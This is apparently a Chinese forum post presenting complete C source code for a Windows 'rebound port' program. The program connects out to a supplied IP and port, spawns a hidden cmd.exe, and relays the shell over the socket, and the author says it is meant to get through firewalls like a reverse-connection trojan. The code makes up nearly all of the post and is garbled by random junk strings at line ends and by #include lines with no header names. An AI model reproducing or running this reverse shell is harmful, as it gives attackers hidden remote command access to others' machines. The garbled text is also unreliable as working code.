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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [q/Abz'i  
@6{~05.p  
/* ============================== kSR\RuY*  
Rebound port in Windows NT 8Eakif0CO  
By wind,2006/7 ;pqg/>W'  
===============================*/ PJ]];MQ  
#include ZAv,*5&<  
#include Fs{x(_LOr  
n#q<`}u,  
#pragma comment(lib,"wsock32.lib") a= DcZ_M  
\ ^ZlG.  
void OutputShell(); tNGp\~  
SOCKET sClient; 6^]!gR#B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A6:es_  
RRRCS]y7$t  
void main(int argc,char **argv) `D=S{   
{ 7on.4/;M  
WSADATA stWsaData; )z&/_E=  
int nRet; oASY7k_3  
SOCKADDR_IN stSaiClient,stSaiServer; V'kX)$  
-i)ZQCE  
if(argc != 3) Qp/QaVQ+  
{ ;.TRWn#  
printf("Useage:\n\rRebound DestIP DestPort\n"); X:6c}p%,!  
return; I_<I&{N>  
}  _59huC.  
a"FCZ.O1  
WSAStartup(MAKEWORD(2,2),&stWsaData); UD8op]>L  
D@Vt^_  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g=;%  
tS|(K=$  
stSaiClient.sin_family = AF_INET; kL$!E9  
stSaiClient.sin_port = htons(0); 'R c,Mq'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >N]7IU[-  
*Eo?k<:zPm  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /Y'Vh^9/T  
{ @&1ZB6OCb:  
printf("Bind Socket Failed!\n"); G*-b}f  
return; |962G1.  
} !{^PO <9  
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stSaiServer.sin_family = AF_INET; DpUbzr41+k  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Fxm$9(Y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "J4WzA%i  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [/Rf\T(,jn  
{ 5*1D$mxD"  
printf("Connect Error!"); O+]Ifm[  
return; !4^C #{$  
} ly:q6i  
OutputShell(); K?BOvDW"`  
} zxC#0@qX07  
P*I}yPeb  
void OutputShell() jV4\A  
{ MBqt&_?K  
char szBuff[1024]; y~F,0"N\r  
SECURITY_ATTRIBUTES stSecurityAttributes; 22.8PO0  
OSVERSIONINFO stOsversionInfo; Y*H|?uNF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FLGk?.x$\  
STARTUPINFO stStartupInfo; RLLTw ?]$  
char *szShell; hRK/T7v  
PROCESS_INFORMATION stProcessInformation; X{\F;Cb*  
unsigned long lBytesRead; w-Da~[J  
Q$="_y2cTA  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); " N9 <wU  
X)7x<?DAy  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Sgp;@4`M  
stSecurityAttributes.lpSecurityDescriptor = 0; J2 'Nd'  
stSecurityAttributes.bInheritHandle = TRUE; EUN81F?  
w+1 |9Y  
i 7x7xtq  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I?ae\X@M  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %Ti}CwI`  
kPF9Z "l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  (Q.waI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T>R0T{A  
stStartupInfo.wShowWindow = SW_HIDE; 1T-8K r  
stStartupInfo.hStdInput = hReadPipe; M#As0~y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ] :BX!<  
sB c (gr  
GetVersionEx(&stOsversionInfo); Q\ U:~g3  
iZaI_\"__  
switch(stOsversionInfo.dwPlatformId) !f&Kf,#b`  
{ :=wT vz  
case 1: }j*KcB_  
szShell = "command.com"; N6 (  
break; (^u1~1E 5  
default: (`sH3&Kl  
szShell = "cmd.exe"; "CUty"R 8  
break; mR}6r2O2\Q  
} DGAX3N;r6{  
c6X}2a'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l zYnw)Pv  
6P5Ih  
send(sClient,szMsg,77,0); %we u 1f  
while(1) YN!>}  
{ Qzlo'e1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K)Q]a30  
if(lBytesRead) !+L/Khw/ C  
{ L"{JRbh[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `eIenA  
send(sClient,szBuff,lBytesRead,0); rmE"rf  
} @> E2?CV  
else 2ioQb`=  
{ \Dd-Xn_b  
lBytesRead=recv(sClient,szBuff,1024,0); { T-'t/0e(  
if(lBytesRead<=0) break; 4*e0 hWp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~ ; -! n;  
} N1|$$9G+  
} ZE2$I^DY-  
0IfKJ*]M  
return; XI22+@d6  
}
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